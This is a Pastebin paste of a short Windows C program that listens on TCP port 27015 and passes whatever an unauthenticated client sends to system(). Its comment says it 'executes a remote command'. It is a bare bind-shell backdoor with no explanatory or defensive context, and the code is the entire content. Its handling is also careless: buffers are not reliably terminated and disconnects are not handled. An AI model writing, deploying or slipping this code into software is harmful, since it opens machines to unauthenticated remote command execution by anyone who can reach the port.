Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- 02 #include "winsock2.h"
- 03
- 04 int main() {
- 05
- 06
- 07 // Initialize Winsock.
- 08 WSADATA wsaData;
- 09 int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
- 10 if ( iResult != NO_ERROR )
- 11 printf("Error at WSAStartup()\n");
- 12
- 13 // Create a socket.
- 14 SOCKET m_socket;
- 15 m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
- 16
- 17 if ( m_socket == INVALID_SOCKET ) {
- 18 printf( "Error at socket(): %ld\n", WSAGetLastError() );
- 19 WSACleanup();
- 20 return 1;
- 21 }
- 22
- 23 // Bind the socket.
- 24 sockaddr_in service;
- 25
- 26 service.sin_family = AF_INET;
- 27 service.sin_addr.s_addr = htonl(INADDR_ANY);
- 28 service.sin_port = htons( 27015 );
- 29
- 30 if ( bind( m_socket, (SOCKADDR*) &service, sizeof(service) ) == SOCKET_ERROR ) {
- 31 printf( "bind() failed.\n" );
- 32 closesocket(m_socket);
- 33 return 1;
- 34 }
- 35
- 36 // Listen on the socket.
- 37 if ( listen( m_socket, 1 ) == SOCKET_ERROR )
- 38 printf( "Error listening on socket.\n");
- 39
- 40 // Accept connections.
- 41 SOCKET AcceptSocket;
- 42
- 43 printf( "Waiting for a client to connect to server...\n" );
- 44 while (1) {
- 45 AcceptSocket = SOCKET_ERROR;
- 46 while ( AcceptSocket == SOCKET_ERROR ) {
- 47 AcceptSocket = accept( m_socket, NULL, NULL );
- 48 }
- 49 printf( "Client Connected.\n");
- 50 m_socket = AcceptSocket;
- 51
- 52 while(1)
- 53 {
- 54 char recvbuf[32] = "";
- 55 char sendbuf[32] = "Command executed\n\n";
- 56 recv( m_socket, recvbuf, 32, 0 );
- 57 system(recvbuf); // Executes a remote command
- 58
- 59 send( m_socket, sendbuf, strlen(sendbuf), 0 );
- 60
- 61
- 62 }
- 63
- 64 }
- 65
- 66
- 67
- 68
- 69
- 70
- 71 return 1;
- 72 }
Advertisement
Add Comment
Please, Sign In to add comment